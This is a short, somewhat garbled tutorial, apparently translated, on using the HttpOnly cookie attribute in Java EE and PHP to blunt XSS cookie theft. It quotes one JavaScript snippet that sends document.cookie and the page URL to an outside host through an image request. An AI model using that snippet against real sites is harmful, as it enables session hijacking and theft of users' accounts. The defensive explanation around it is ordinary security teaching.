What is HttpOnly?
If you set the HttpOnly attribute in cookie, the cookie information will not be read through the js script. This is effective To prevent XSS attacks, please search on google for a more specific introduction
Does the API of javaEE support it?
javaEE response.setHeader("Set-Cookie", "cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
cookie or session hijack. If it contains a large amount of sensitive information (identity information, management (member information) etc., that’s it. . .
The following js is used to obtain cookie information: The code is as follows:url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
object, and now the browser is setting Cookies generally accept a parameter called HttpOnly, just like domain and other parameters. Once this HttpOnly is set, you will not see the cookie in the browser's document object.
PHP settings HttpOnly:
//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性 ini_set("session.cookie_httponly", 1); //或者setcookie()的第七个参数设置为true session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
header("Set-Cookie: hidden=value; httpOnly");
The above is the detailed content of PHP uses httponly to prevent XSS attacks. For more information, please follow other related articles on the PHP Chinese website!